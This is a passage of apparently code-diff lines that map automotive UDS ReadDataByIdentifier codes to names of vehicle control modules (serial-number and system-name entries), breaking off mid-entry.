+UDS_RDBI.dataIdentifiers[0x6a2d] = "Selector_lever_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a2e] = "NOx_sensor_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a2f] = "NOx_sensor_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a30] = "Ioniser_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a31] = "Multi_function_steering_wheel_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a32] = "Left_rear_door_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a33] = "Right_rear_door_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a34] = "Left_rear_massage_seat_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a35] = "Right_rear_massage_seat_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a36] = "Display_unit_1_for_multimedia_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a37] = "Battery_monitoring_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a38] = "Roof_blind_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a39] = "Sun_roof_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a3a] = "Steering_angle_sender_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a3b] = "Lane_change_assistant 2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a3c] = "Pitch_rate_sender_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a3d] = "ESP_sensor_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a3e] = "Electronic_ignition_lock_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a3f] = "Air_quality_sensor_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a40] = "Display_unit_2_for_multimedia_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a41] = "Telephone_handset_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a42] = "Chip_card_reader_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a43] = "Traffic_data_aerial_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a44] = "Hands_free_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a45] = "Telephone_handset_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a46] = "Display_unit_front_for_multimedia_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a47] = "Multimedia_operating_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a48] = "Digital_sound_system_control_module_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a49] = "Electrically_adjustable_steering_column_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a4a] = "Interface_for_external_multimedia_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a4b] = "Relative_Air_Humidity_Interior_Sender_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a4c] = "Drivers_door_rear_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a4d] = "Passengers_rear_door_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a4e] = "Sensor_controlled_power_rear_lid_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a4f] = "Camera_for_night_vision_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a50] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a51] = "Rear_spoiler_adjustment_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a52] = "Roof_blind_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a53] = "Motor_for_wind_deflector_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a54] = "Voltage_stabilizer_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a55] = "Switch_module_for_driver_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a56] = "Switch_module_for_front_passenger_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a57] = "Switch_module_for_rear_seat_driver_side_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a58] = "Switch_module_for_rear_seat_front_passenger_side_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a59] = "Switch_module_2_for_driver_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a5a] = "Battery_charger_unit_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a5b] = "Battery_charger_unit_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a5c] = "Battery_charger_unit_3_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a5d] = "Air_conditioning_compressor_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a5e] = "Neck_heating_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a5f] = "Neck_heating_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a60] = "Switch_module_2_for_front_passenger_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a61] = "Switch_module_2_for_rear_seat_front_passenger_side_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a62] = "Compact_disc_database_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a63] = "Rear_climatronic_operating_and_display_unit_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a64] = "Rear_climatronic_operating_and_display_unit_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a65] = "Door_handle_front_left_Kessy_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a66] = "Door_handle_front_right_Kessy_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a67] = "Door_handle_rear_left_Kessy_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a68] = "Door_handle_rear_right_Kessy_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a69] = "Power_converter_DC_AC_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a6a] = "Battery_monitoring_control_module_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a6b] = "Matrix_headlamp_powermodule_1_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a6c] = "Matrix_headlamp_powermodule_1_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a6d] = "High_beam_powermodule_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a6e] = "High_beam_powermodule_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a6f] = "Air_suspension_compressor_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a70] = "Rear_brake_actuator_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a71] = "Rear_brake_actuator_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a72] = "Analog_clock_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a73] = "Rear_door_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a79] = "Data_medium_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a7a] = "Operating_unit_center_console_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a7b] = "Operating_unit_center_console_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a7c] = "Operating_unit_center_console_3_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a7d] = "Operating_unit_center_console_4_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a7e] = "Interface_for_radiodisplay_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a7f] = "Parkassist_entry_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a86] = "Belt_pretensioner_3rd_row_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a87] = "Belt_pretensioner_3rd_row_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a88] = "Injection_valve_heater_control_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a89] = "Steering_column_switch_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a8a] = "Brake_assistance_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a8b] = "Trailer_articulation_angle_sensor_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a8c] = "Cup_holder_with_heater_and_cooling_element_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a8d] = "Range_of_vision_sensing_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a8e] = "Convenience_and_driver_assist_operating_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a8f] = "Cradle_rear_climatronic_operating_and_display_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a90] = "Trailer_weight_nose_weight_detection_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a91] = "Sensor_carbon_dioxide_concentration_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a92] = "Sensor_fine_dust_concentration_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a93] = "Volume_control_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a94] = "Belt_buckle_presenter_2nd_row_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a95] = "Belt_buckle_presenter_2nd_row_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a96] = "Operating_and_display_unit_6_for_air_conditioning_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a97] = "Active_accelerator_pedal_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a98] = "Multimedia_operating_unit_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a99] = "Display_unit_3_for_multimedia_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a9a] = "Display_unit_4_for_multimedia_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a9b] = "Display_unit_5_for_multimedia_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a9c] = "Control_module_for_auxiliary_blower_motors_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a9d] = "Operating_and_display_unit_3_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a9e] = "Operating_and_display_unit_4_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a9f] = "Operating_and_display_unit_5_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aa0] = "Side Sensor Driver Front_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aa1] = "Side Sensor Passenger Front_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aa2] = "Side Sensor Driver Rear_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aa3] = "Side Sensor Passenger Rear_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aa4] = "Front Sensor Driver_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aa5] = "Front Sensor Passenger_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aa6] = "Pedestrian Protection Driver_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aa7] = "Pedestrian Protection Passenger_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aa8] = "Rear Sensor Center_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aa9] = "Pedestrian Protection Center_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aaa] = "Pedestrian Protection Contact_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aab] = "Pedestrian_protection_driver_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aac] = "Pedestrian_protection_passenger_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aad] = "Central_sensor_XY_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aae] = "Refrigerant_pressure_and_temperature_sender_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aaf] = "Refrigerant_pressure_and_temperature_sender_3_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ab0] = "Switch_for_rear_multicontour_seat_driver_side_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ab1] = "Valve_block_1_in_driver_side_rear_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ab2] = "Valve_block_2_in_driver_side_rear_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ab3] = "Valve_block_3_in_driver_side_rear_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ab4] = "Switch_for_rear_multicontour_seat_passenger_side_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ab5] = "Valve_block_1_in_passenger_side_rear_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ab6] = "Valve_block_2_in_passenger_side_rear_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ab7] = "Valve_block_3_in_passenger_side_rear_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ab8] = "Switch_for_front_multicontour_seat_driver_side_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ab9] = "Valve_block_1_in_driver_side_front_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aba] = "Valve_block_2_in_driver_side_front_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6abb] = "Valve_block_3_in_driver_side_front_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6abc] = "Switch_for_front_multicontour_seat_passenger_side_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6abd] = "Valve_block_1_in_passenger_side_front_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6abe] = "Valve_block_2_in_passenger_side_front_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6abf] = "Valve_block_3_in_passenger_side_front_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ac0] = "Coolant_heater_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ac1] = "Seat_backrest_fan_1_front_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ac2] = "Seat_backrest_fan_2_front_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ac3] = "Seat_cushion_fan_1_front_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ac4] = "Seat_cushion_fan_2_front_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ac5] = "Seat_backrest_fan_1_front_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ac6] = "Seat_backrest_fan_2_front_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ac7] = "Seat_cushion_fan_1_front_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ac8] = "Seat_cushion_fan_2_front_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ac9] = "Operating_and_display_unit_1_for_air_conditioning_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aca] = "Operating_and_display_unit_2_for_air_conditioning_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6acb] = "Operating_and_display_unit_3_for_air_conditioning_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6acc] = "Operating_and_display_unit_4_for_air_conditioning_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6acd] = "Operating_and_display_unit_5_for_air_conditioning_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ace] = "Pedestrian_protection_left_hand_side_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6acf] = "Pedestrian_protection_right_hand_side_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ad0] = "Battery_junction_box_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ad1] = "Cell_module_controller_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ad2] = "Cell_module_controller_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ad3] = "Cell_module_controller_3_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ad4] = "Cell_module_controller_4_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ad5] = "Cell_module_controller_5_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ad6] = "Cell_module_controller_6_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ad7] = "Cell_module_controller_7_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ad8] = "Cell_module_controller_8_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ad9] = "Cell_module_controller_9_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ada] = "Cell_module_controller_10_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6adb] = "Cell_module_controller_11_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6adc] = "Cell_module_controller_12_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6add] = "Seat_backrest_fan_1_rear_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ade] = "Seat_backrest_fan_2_rear_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6adf] = "Seat_cushion_fan_1_rear_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ae0] = "Seat_cushion_fan_2_rear_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ae1] = "Seat_backrest_fan_1_rear_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ae2] = "Seat_backrest_fan_2_rear_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ae3] = "Seat_cushion_fan_1_rear_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ae4] = "Seat_cushion_fan_2_rear_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ae5] = "Auxiliary_blower_motor_control_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ae6] = "Auxiliary_blower_motor_control_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ae7] = "Infrared_sender_for_front_observation_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ae8] = "Starter_generator_control_module_sub_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6ae9] = "Media_player_1_sub_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aea] = "Media_player_2_sub_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aeb] = "Dedicated_short_range_communication_aerial_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aec] = "Refrigerant_pressure_and_temperature_sender_4_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aed] = "Refrigerant_pressure_and_temperature_sender_5_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aee] = "Refrigerant_pressure_and_temperature_sender_6_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aef] = "Air_coolant_actuator_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6af0] = "Air_coolant_actuator_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6af1] = "Cell_module_controller_13_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6af2] = "Cell_module_controller_14_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6af3] = "Cell_module_controller_15_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6af5] = "Seat_heating_rear_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6af6] = "LED_warning_indicator_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6af7] = "Automatic_transmission_fluid_pump_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6af8] = "Manual_transmission_fluid_pump_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6af9] = "Convenience_and_driver_assist_operating_unit_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6afb] = "Air_coolant_actuator_3_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6afc] = "Valve_block_4_in_driver_side_rear_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6afd] = "Valve_block_4_in_passenger_side_rear_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6afe] = "Valve_block_4_in_driver_side_front_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6aff] = "Valve_block_4_in_passenger_side_front_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b01] = "Rear_climatronic_operating_and_display_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b02] = "Refrigerant_expansion_valve_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b03] = "Refrigerant_expansion_valve_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b04] = "Refrigerant_expansion_valve_3_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b05] = "Refrigerant_shut_off_valve_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b06] = "Refrigerant_shut_off_valve_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b07] = "Refrigerant_shut_off_valve_3_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b08] = "Refrigerant_shut_off_valve_4_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b09] = "Refrigerant_shut_off_valve_5_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b0a] = "Sunlight_sensor_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b0b] = "Near_field_communication_control_module_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b0c] = "Clutch_control_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b0d] = "Electrical_charger_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b0e] = "Rear_light_left_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b0f] = "Rear_light_right_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b10] = "Rear_light_right_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b11] = "Sunlight_sensor_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b12] = "Radiator_shutter_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b13] = "Radiator_shutter_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b14] = "Radiator_shutter_3_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b15] = "Radiator_shutter_4_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b18] = "Special_key_operating_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b19] = "Radio_interface_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b1a] = "Video_self_protection_recorder_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b1b] = "Special_vehicle_assist_interface_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b1c] = "Electric_system_disconnection_diode_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b1d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b1e] = "Belt_pretensioner_2nd_row_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b1f] = "Belt_pretensioner_2nd_row_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b20] = "Electrical_variable_camshaft_phasing_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b21] = "Electrical_variable_camshaft_phasing_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b22] = "Wireless_operating_unit_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b23] = "Wireless_operating_unit_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b24] = "Front_windshield_washer_pump_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b25] = "Air_quality_sensor_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b26] = "Fragrancing_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b27] = "Coolant_valve_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b28] = "Near_field_communication_control_module_3_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b29] = "Interior_monitoring_rear_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b2a] = "Cooler_fan_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b2b] = "Control_unit_heating_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b2c] = "Control_unit_heating_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b2d] = "Control_unit_heating_3_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b2e] = "Control_unit_heating_4_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b2f] = "Operating_unit_drive_mode_selection_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b30] = "Side_sensor_a-pillar_driver_front_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b31] = "Side_sensor_a-pillar_passenger_front_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b32] = "Sensor_high_voltage_system_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b33] = "Side_sensor_b-pillar_driver_front_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b34] = "Side_sensor_b-pillar_passenger_front_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b35] = "Multi_function_steering_wheel_control_module_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b36] = "Gear_selection_display_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b37] = "Cooler_fan_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b38] = "Gear_selector_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b39] = "Interior_light_module_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b3a] = "Radio_control_center_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b3b] = "Multimedia_extension_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b3c] = "Control_unit_differential_lock_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b3d] = "Control_unit_ride_control_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b3e] = "Control_unit_hands_on_detection_steering_wheel_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b3f] = "Front_climatronic_operating_and_display_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b40] = "Auxiliary_display_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b41] = "Card_reader_tv_tuner_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b42] = "Park_lock_actuator_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b43] = "Media_connector_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6b44] = "Catalyst_heating_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6c01] = "Control_unit_for_wiper_motor_System_Name" +UDS_RDBI.dataIdentifiers[0x6c02] = "Rain_light_recognition_sensor_System_Name" +UDS_RDBI.dataIdentifiers[0x6c03] = "Light_switch_System_Name" +UDS_RDBI.dataIdentifiers[0x6c04] = "Garage_door_opener_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c05] = "Garage_door_opener_operating_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x6c06] = "Ignition_key_System_Name" +UDS_RDBI.dataIdentifiers[0x6c07] = "Left_front_seat_ventilation_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c08] = "Right_front_seat_ventilation_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c09] = "Left_rear_seat_ventilation_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c0a] = "LED_headlamp_powermodule_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6c0b] = "LED_headlamp_powermodule_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6c0c] = "LED_headlamp_powermodule_2_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6c0d] = "LED_headlamp_powermodule_2_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6c0e] = "Operating_and_display_unit_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6c0f] = "Operating_and_display_unit_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c10] = "Right_rear_seat_ventilation_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c11] = "Data_medium_System_Name" +UDS_RDBI.dataIdentifiers[0x6c12] = "Drivers_door_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c13] = "Front_passengers_door_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c14] = "Left_headlamp_power_output_stage_System_Name" +UDS_RDBI.dataIdentifiers[0x6c15] = "Right_headlamp_power_output_stage_System_Name" +UDS_RDBI.dataIdentifiers[0x6c16] = "Sensor_for_anti_theft_alarm_system_System_Name" +UDS_RDBI.dataIdentifiers[0x6c17] = "Rear_lid_control_module_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c18] = "Alarm_horn_System_Name" +UDS_RDBI.dataIdentifiers[0x6c19] = "Automatic_day_night_interior_mirror_System_Name" +UDS_RDBI.dataIdentifiers[0x6c1a] = "Remote_control_auxiliary_heater_System_Name" +UDS_RDBI.dataIdentifiers[0x6c1b] = "Fresh_air_blower_front_System_Name" +UDS_RDBI.dataIdentifiers[0x6c1c] = "Fresh_air_blower_back_System_Name" +UDS_RDBI.dataIdentifiers[0x6c1d] = "Alternator_System_Name" +UDS_RDBI.dataIdentifiers[0x6c1e] = "Interior_light_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c1f] = "Refrigerant_pressure_and_temperature_sender_System_Name" +UDS_RDBI.dataIdentifiers[0x6c20] = "Sun_roof_System_Name" +UDS_RDBI.dataIdentifiers[0x6c21] = "Steering_column_lock_actuator_System_Name" +UDS_RDBI.dataIdentifiers[0x6c22] = "Anti_theft_tilt_system_control_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x6c23] = "Tire_pressure_monitor_antenna_System_Name" +UDS_RDBI.dataIdentifiers[0x6c24] = "Heated_windshield_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c25] = "Rear_light_left_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6c26] = "Ceiling_light_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c27] = "Left_front_massage_seat_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c28] = "Right_front_massage_seat_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c29] = "Control_module_for_auxiliary_air_heater_System_Name" +UDS_RDBI.dataIdentifiers[0x6c2a] = "Belt Pretensioner left_System_Name" +UDS_RDBI.dataIdentifiers[0x6c2b] = "Belt Pretensioner right_System_Name" +UDS_RDBI.dataIdentifiers[0x6c2c] = "Occupant Detection_System_Name" +UDS_RDBI.dataIdentifiers[0x6c2d] = 